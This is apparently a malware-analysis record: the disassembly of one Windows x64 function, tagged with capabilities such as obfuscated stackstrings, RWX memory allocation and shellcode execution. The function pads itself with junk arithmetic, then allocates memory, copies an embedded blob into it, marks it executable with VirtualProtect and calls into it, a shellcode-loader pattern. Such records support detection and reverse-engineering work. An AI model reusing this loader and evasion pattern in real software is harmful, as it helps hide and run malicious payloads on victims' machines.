Function at 0x140007ed8
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xfa8]
mov eax, 0x1080
call fcn.140229400
sub rsp, rax
movaps xmmword [rsp + 0x1070], xmm6
movaps xmmword [rsp + 0x1060], xmm7
movaps xmmword [rsp + 0x1050], xmm8
movaps xmmword [rsp + 0x1040], xmm9
movaps xmmword [rsp + 0x1030], xmm10
movaps xmmword [rsp + 0x1020], xmm12
mov rax, qword [0x14037f168]
xor rax, rsp
mov qword [rbp + 0xf10], rax
mov r15d, 1
xor esi, esi
mov r12d, 0x4e2
lea eax, [r15 + 0x18]
mov dword [0x140382b8c], r15d
lea r13d, [r15 + 0x63]
mov edi, eax
mov ebx, eax
call fcn.140227bac
mov r11d, eax
and r11d, 0x80000003
jge 0x140007f85
sub r11d, r15d
or r11d, 0xfffffffc
add r11d, r15d
test r11d, r11d
je 0x140007fc1
dec r11d
je 0x140007fb6
dec r11d
je 0x140007fa8
dec r11d
jne 0x140007fc9
cmp rdi, 0x31
jge 0x140007fc9
add rdi, r15
add r12, 0x32
jmp 0x140007fc9
test rdi, rdi
jle 0x140007fc9
sub rdi, r15
sub r12, 0x32
jmp 0x140007fc9
cmp rbx, 0x31
jge 0x140007fc9
add rbx, r15
jmp 0x140007fc9
test rbx, rbx
jle 0x140007fc9
sub rbx, r15
sub r13, r15
lea rax, [r12 + rbx]
lea rcx, [0x1403817a0]
mov dword [rcx + rax*4], r15d
jne 0x140007f6a
xor ecx, ecx
call fcn.140227c78
mov rcx, rax
call fcn.140227b94
call fcn.140227bac
mov r11d, eax
mov eax, 0x94f2095
imul r11d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x6e
sub r11d, edx
movd xmm8, r11d
cvtdq2pd xmm8, xmm8
mulsd xmm8, qword [0x140284058]
divsd xmm8, qword [0x140284870]
movapd xmm0, xmm8
call fcn.140770490
movapd xmm10, xmm0
movapd xmm0, xmm8
mulsd xmm10, qword [0x140284868]
divsd xmm10, qword [0x140284860]
call section.text_1
xorpd xmm12, xmm12
lea r14, [0x140381550]
comisd xmm10, xmm12
movapd xmm9, xmm12
jb 0x140008109
movapd xmm0, xmm8
call section.text_1
movapd xmm7, xmm0
movapd xmm0, xmm8
mulsd xmm7, qword [0x140284870]
mulsd xmm7, xmm9
call fcn.140770490
movapd xmm1, xmm9
mov rcx, r14
movapd xmm6, xmm0
movapd xmm0, xmm9
mulsd xmm0, qword [0x140284858]
mulsd xmm6, qword [0x140284870]
mulsd xmm0, xmm9
mulsd xmm6, xmm9
subsd xmm6, xmm0
call fcn.140004d74
movapd xmm1, xmm7
mov rcx, rax
call fcn.140004d74
mov rcx, rax
movapd xmm1, xmm6
call fcn.140004d74
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
addsd xmm9, qword [0x140284850]
comisd xmm10, xmm9
jae 0x14000806f
movapd xmm0, xmm8
call fcn.140770490
movapd xmm7, xmm0
movapd xmm0, xmm8
mulsd xmm7, qword [0x140284868]
divsd xmm7, qword [0x140284860]
call fcn.140770490
movapd xmm1, xmm7
mov rcx, r14
movapd xmm6, xmm0
movapd xmm0, xmm7
mulsd xmm0, qword [0x140284860]
mulsd xmm6, qword [0x140284870]
subsd xmm6, xmm0
call fcn.140004d74
movapd xmm1, xmm6
mov rcx, rax
call fcn.140004d74
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x14000824c
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor edx, edx
mov r8, rax
mov rcx, rbx
call fcn.1400098b8
xor ecx, ecx
test eax, eax
jne 0x14000829f
call fcn.140227c78
mov rcx, rax
call fcn.140227b94
call fcn.140227bac
mov ebx, eax
mov eax, 0x5d9f7391
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15e
sub ebx, edx
call fcn.140227bac
mov rcx, r14
mov edi, eax
mov eax, 0xea0ea0eb
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x23
sub edi, edx
mov dl, 0xa
call fcn.140005ac0
mov rcx, r14
call fcn.140003d80
lea edx, [rbx + 0x32]
mov rcx, r14
call fcn.140004c28
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
lea edx, [rdi + 0xa]
mov rcx, r14
call fcn.140004c28
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
mov esi, r15d
mov eax, esi
mov rcx, qword [rbp + 0xf10]
xor rcx, rsp
call fcn.140229090
lea r11, [rsp + 0x1080]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm12, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140227c78
mov rcx, rax
call fcn.140227b94
mov dword [rsp + 0x60], 0x6f006e
mov dword [rsp + 0x64], 0x6d0072
mov dword [rsp + 0x68], 0x640069
mov dword [rsp + 0x6c], 0x61006e
mov dword [rsp + 0x70], 0x6e002e
mov dword [rsp + 0x74], 0x70006c
mov dword [rsp + 0x78], 0xd12a0000
mov dword [rsp + 0x7c], 0xdf68c377
mov qword [rbp - 0x80], SafeArrayGetElemsize
mov dword [rbp - 0x78], 0x12000d
mov dword [rbp - 0x74], 0x3b00000
mov dword [rbp - 0x70], 0xfe
mov dword [rbp - 0x6c], 0x3e0022
mov dword [rbp - 0x68], 0x48fe113e
mov dword [rbp - 0x64], 0x81964cae
mov dword [rbp - 0x60], 0x99a298a3
mov dword [rbp - 0x5c], 0x8070100
mov dword [rbp - 0x58], 0xc0b0a09
mov dword [rbp - 0x54], 0x100f0e0d
mov dword [rbp - 0x50], 0x14131211
mov dword [rbp - 0x4c], 0x18171615
mov dword [rbp - 0x48], 0x1c1b1a19
mov dword [rbp - 0x44], 0x201f1e1d
mov dword [rbp - 0x40], 0x24232221
mov dword [rbp - 0x3c], 0x6b675b54
mov dword [rbp - 0x38], 0x82817a76
mov dword [rbp - 0x34], 0xd8d6ca84
mov dword [rbp - 0x30], 0xdedddcda
mov dword [rbp - 0x2c], 0xe6e4e2e0
mov dword [rbp - 0x28], 0xf0eae9e8
mov dword [rbp - 0x24], 0x4030201
mov dword [rbp - 0x20], 0x8070605
mov dword [rbp - 0x1c], 0xc0b0a09
mov dword [rbp - 0x18], 0x100f0e0d
mov dword [rbp - 0x14], 0x14131211
mov dword [rbp - 0x10], 0x18171615
mov dword [rbp - 0xc], 0x1c1b1a19
mov dword [rbp - 8], 0x201f1e1d
mov dword [rbp - 4], 0xffff2221
mov qword [rbp], 0x27262524
mov dword [rbp + 8], 0x2a292800
mov dword [rbp + 0xc], 0x2e2d2c2b
mov dword [rbp + 0x10], 0x3231302f
mov dword [rbp + 0x14], 0x36353433
mov dword [rbp + 0x18], 0x3a393837
mov dword [rbp + 0x1c], 0x3e3d3c3b
mov dword [rbp + 0x20], 0x41403f
mov qword [rbp + 0x24], 0x4342
mov dword [rbp + 0x2c], esi
mov dword [rbp + 0x30], 0x47464544
mov dword [rbp + 0x34], 0x4b4a4948
mov dword [rbp + 0x38], 0x4efd4d4c
mov dword [rbp + 0x3c], 0x5251504f
mov qword [rbp + 0x40], 0x56555453
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], rsi
mov dword [rbp + 0x70], esi
mov qword [rbp + 0x74], 0x57000000
mov qword [rbp + 0x7c], rsi
mov qword [rbp + 0x84], rsi
mov qword [rbp + 0x8c], rsi
mov qword [rbp + 0x94], rsi
mov qword [rbp + 0x9c], rsi
mov qword [rbp + 0xa4], rsi
mov qword [rbp + 0xac], rsi
mov qword [rbp + 0xb4], rsi
mov qword [rbp + 0xbc], rsi
mov qword [rbp + 0xc4], rsi
mov qword [rbp + 0xcc], rsi
mov qword [rbp + 0xd4], rsi
mov qword [rbp + 0xdc], rsi
mov qword [rbp + 0xe4], rsi
mov qword [rbp + 0xec], rsi
mov qword [rbp + 0xf4], rsi
mov qword [rbp + 0xfc], rsi
mov qword [rbp + 0x104], rsi
mov qword [rbp + 0x10c], rsi
mov dword [rbp + 0x114], esi
mov qword [rbp + 0x118], 0x58000000
mov dword [rbp + 0x120], esi
mov dword [rbp + 0x124], 0x5900
mov dword [rbp + 0x128], 0x5d5c5b5a
mov dword [rbp + 0x12c], 0x61605f5e
mov dword [rbp + 0x130], 0x65646362
mov qword [rbp + 0x134], 0xffffffffffffffff
mov qword [rbp + 0x13c], 0xffffffffffffffff
mov qword [rbp + 0x144], 0xffffffffffffffff
mov qword [rbp + 0x14c], 0xffffffffffffffff
mov qword [rbp + 0x154], 0xffffffffffffffff
mov qword [rbp + 0x15c], 0xffffffffffffffff
mov qword [rbp + 0x164], 0xffffffffffffffff
mov qword [rbp + 0x16c], 0xffffffffffffffff
mov qword [rbp + 0x174], 0xffffffffffffffff
mov qword [rbp + 0x17c], 0xffffffffffffffff
mov qword [rbp + 0x184], 0xffffffffffffffff
mov dword [rbp + 0x18c], 0xfefefefe
mov dword [rbp + 0x190], 0xfefefefe
mov dword [rbp + 0x194], 0xfcfcfcfc
mov dword [rbp + 0x198], 0xfcfcfcfc
mov dword [rbp + 0x19c], 0xfbfbfbfb
mov dword [rbp + 0x1a0], 0xfbfbfbfb
mov dword [rbp + 0x1a4], 0xfbfbfbfb
mov dword [rbp + 0x1a8], 0xfbfbfbfb
mov dword [rbp + 0x1ac], 0xfbfbfbfb
mov dword [rbp + 0x1b0], 0xfbfbfbfb
mov dword [rbp + 0x1b4], 0xfbfbfbfb
mov dword [rbp + 0x1b8], 0xfbfbfbfb
mov dword [rbp + 0x1bc], 0xfbfbfbfb
mov dword [rbp + 0x1c0], 0xfbfbfbfb
mov dword [rbp + 0x1c4], 0xfbfbfbfb
mov dword [rbp + 0x1c8], 0xfbfbfbfb
mov dword [rbp + 0x1cc], 0xfdfdfbfb
mov dword [rbp + 0x1d0], 0x6a696867
mov dword [rbp + 0x1d4], 0x6e6d6c6b
mov dword [rbp + 0x1d8], 0x7271706f
mov dword [rbp + 0x1dc], 0x76757473
mov dword [rbp + 0x1e0], 0x797877fb
mov dword [rbp + 0x1e4], 0xfb7c7b7a
mov dword [rbp + 0x1e8], 0xfb7d0000
mov dword [rbp + 0x1ec], 0x81807f7e
mov dword [rbp + 0x1f0], 0x85848382
mov dword [rbp + 0x1f4], 0xfb888786
mov dword [rbp + 0x1f8], 0xfb8afb89
mov dword [rbp + 0x1fc], 0x8e8d8c8b
mov dword [rbp + 0x200], 0xfb91908f
mov dword [rbp + 0x204], 0x94fb9392
mov dword [rbp + 0x208], 0xfb979695
mov dword [rbp + 0x20c], 0xfbfb9998
mov dword [rbp + 0x210], 0xfbfb9b9a
mov dword [rbp + 0x214], 0x9f9e9d9c
mov dword [rbp + 0x218], 0xfbfba0fb
mov dword [rbp + 0x21c], esi
mov dword [rbp + 0x220], 0xa1000000
mov dword [rbp + 0x224], 0xfba300a2
mov dword [rbp + 0x228], 0xfbfbfbfb
mov dword [rbp + 0x22c], 0xfbfbfbfb
mov dword [rbp + 0x230], 0xfbfbfbfb
mov dword [rbp + 0x234], 0xfbfbfbfb
mov dword [rbp + 0x238], 0xfbfbfbfb
mov qword [rbp + 0x23c], rsi
mov dword [rbp + 0x244], 0xfbfbfba4
mov dword [rbp + 0x248], 0xfbfbfbfb
mov dword [rbp + 0x24c], 0xfbfbfbfb
mov dword [rbp + 0x250], 0xfbfbfbfb
mov dword [rbp + 0x254], 0xfbfbfbfb
mov dword [rbp + 0x258], 0xfbfbfbfb
mov dword [rbp + 0x25c], 0xfbfbfbfb
mov dword [rbp + 0x260], 0xfbfbfbfb
mov dword [rbp + 0x264], esi
mov dword [rbp + 0x268], 0xfbfbfba5
mov dword [rbp + 0x26c], 0xfbfbfbfb
mov dword [rbp + 0x270], 0xfbfbfbfb
mov dword [rbp + 0x274], 0xfbfbfbfb
mov dword [rbp + 0x278], 0xfbfbfbfb
mov dword [rbp + 0x27c], 0xfbfbfbfb
mov dword [rbp + 0x280], 0xfbfbfbfb
mov dword [rbp + 0x284], 0xfbfbfbfb
mov dword [rbp + 0x288], 0xfbfbfbfb
mov dword [rbp + 0x28c], 0xfbfbfbfb
mov dword [rbp + 0x290], 0xfbfbfbfb
mov dword [rbp + 0x294], 0xfbfbfbfb
mov dword [rbp + 0x298], 0xfbfbfbfb
mov dword [rbp + 0x29c], 0xfbfbfbfb
mov dword [rbp + 0x2a0], 0xfbfbfbfb
mov dword [rbp + 0x2a4], 0xfbfbfbfb
mov dword [rbp + 0x2a8], 0xfbfbfbfb
mov dword [rbp + 0x2ac], esi
mov dword [rbp + 0x2b0], 0xa9a8a7a6
mov dword [rbp + 0x2b4], 0xfbfbfbfb
mov dword [rbp + 0x2b8], 0xadacabaa
mov dword [rbp + 0x2bc], esi
call fcn.140227bac
mov ebx, eax
mov eax, 0x5d9f7391
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15e
sub ebx, edx
call fcn.140227bac
mov rcx, r14
mov r13d, eax
mov eax, 0x66666667
imul r13d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
lea edx, [rbx + 0x32]
shl eax, 5
sub r13d, eax
add r13d, 0xa
call fcn.140004c28
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
mov edx, r13d
mov rcx, r14
call fcn.140004c28
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
mov r12d, r15d
cmp r13d, r15d
jl 0x140008977
call fcn.140227bac
mov edi, eax
mov eax, 0x1b4e81b5
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x96
sub edi, edx
call fcn.140227bac
mov rcx, r14
mov ebx, eax
mov eax, 0xea0ea0eb
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x23
sub ebx, edx
mov edx, r12d
call fcn.140004c28
lea edx, [rdi + 0x64]
mov rcx, rax
call fcn.140004c28
mov edx, ebx
mov rcx, rax
call fcn.140004c28
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
add r12d, r15d
cmp r12d, r13d
jle 0x1400088fb
mov r12d, r15d
cmp r13d, r15d
jl 0x1400089fb
call fcn.140227bac
mov edi, eax
mov eax, 0x10624dd3
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xfa
sub edi, edx
call fcn.140227bac
mov rcx, r14
mov ebx, eax
mov eax, 0xb60b60b7
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x2d
sub ebx, edx
mov edx, r12d
call fcn.140004c28
lea edx, [rdi + 0x64]
mov rcx, rax
call fcn.140004c28
mov edx, ebx
mov rcx, rax
call fcn.140004c28
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
add r12d, r15d
cmp r12d, r13d
jle 0x14000897f
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov r8, rax
call fcn.1400098b8
mov rbx, rsi
mov edi, 0xbc4
call fcn.140227bac
mov r11d, eax
mov eax, 0x66666667
imul r11d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub r11d, eax
mov byte [rbp + rbx + 0x340], r11b
add rbx, r15
cmp rbx, rdi
jl 0x140008a20
mov dl, 0xa
mov rcx, r14
call fcn.140005ac0
mov rcx, r14
call fcn.140003d80
mov rbx, rsi
movzx edx, byte [rbp + rbx + 0x340]
mov rcx, r14
call fcn.140004c28
add rbx, r15
cmp rbx, rdi
jl 0x140008a68
mov dl, 0xa
mov rcx, r14
call fcn.140005ac0
mov rcx, r14
call fcn.140003d80
lea rcx, [rsp + 0x40]
call fcn.140001008
mov rbx, rsi
mov r11, rax
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rax, qword [r11 + 8]
mov qword [rsp + 0x30], rax
mov rax, qword [r11 + 0x10]
mov qword [rsp + 0x38], rax
movzx edx, byte [rbp + rbx + 0x340]
mov rcx, r14
call fcn.140004c28
add rbx, r15
cmp rbx, rdi
jl 0x140008abc
movsd xmm1, qword [rsp + 0x28]
mov rcx, r14
call fcn.140004d74
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
xor ecx, ecx
call fcn.140227c78
mov rcx, rax
call fcn.140227b94
lea rdx, [rsp + 0x61]
lea rcx, [rsp + 0x60]
call fcn.140007d68
xor edx, edx
lea rcx, [rbp + 0x2c1]
lea r8d, [rdx + 0x7f]
mov byte [rbp + 0x2c0], al
call fcn.140228630
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r12, rax
test rax, rax
jne 0x140008b4a
mov eax, r15d
jmp 0x140008251
mov edi, 0x100000
xor edx, edx
mov rcx, rax
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140008b70
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
jmp 0x140008b42
mov rbx, rsi
call fcn.140227bac
and eax, 0x80000001
jge 0x140008b88
sub eax, r15d
or eax, 0xfffffffe
add eax, r15d
mov byte [r14 + rbx], al
add rbx, r15
cmp rbx, rdi
jl 0x140008b73
movsd xmm6, qword [0x140284848]
mov ecx, 0x408
call fcn.140009420
lea rcx, [rbp + 0x2c0]
mov r15, rax
call fcn.140228150
lea rdx, [rbp + 0x2c0]
mov r8, rax
mov rcx, r15
call fcn.14000718c
movsd xmm7, qword [0x140284840]
lea rdx, section.text
mov r8d, 0x3bb000
mov rcx, r15
call fcn.140007260
mov eax, 2
movsd xmm0, qword [0x140284068]
movapd xmm5, xmm12
test al, 1
je 0x140008bfe
mulsd xmm0, xmm5
shr eax, 1
je 0x140008c08
mulsd xmm5, xmm5
jmp 0x140008bf6
mulsd xmm0, qword [0x140284838]
xor ecx, ecx
subsd xmm0, qword [0x140284830]
divsd xmm0, qword [0x140284828]
mulsd xmm0, xmm7
addsd xmm12, xmm0
movapd xmm0, xmm12
mulsd xmm0, xmm7
subsd xmm6, xmm0
call fcn.140227c78
mov rcx, rax
call fcn.140227b94
call fcn.140007494
xor ecx, ecx
lea r9d, [rcx + 4]
mov edx, 0x3bb000
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0x7d0
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140381550]
movsd xmm1, qword [rsp + 0x30]
call fcn.140004d74
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
lea rdx, [0x1406916c0]
mov r8d, 0xde940
mov rcx, rdi
call fcn.140228210
lea r9, [rsp + 0x20]
mov edx, 0x3bb000
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, [0x140381550]
movsd xmm1, qword [rsp + 0x38]
call fcn.140004d74
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
call rdi
mov r8, r14
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
comisd xmm6, xmmword [0x140284820]
ja 0x140008bcf
mov r12d, 1
cmp r13d, r12d
jl 0x14000824f
call fcn.140227bac
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x190
sub edi, edx
call fcn.140227bac
lea rcx, [0x140381550]
mov ebx, eax
mov eax, 0xb60b60b7
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x5a
sub ebx, edx
mov edx, r12d
call fcn.140004c28
lea edx, [rdi + 0x64]
mov rcx, rax
call fcn.140004c28
mov edx, ebx
mov rcx, rax
call fcn.140004c28
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140005ac0
mov rcx, rbx
call fcn.140003d80
inc r12d
cmp r12d, r13d
jle 0x140008d21
jmp 0x14000824f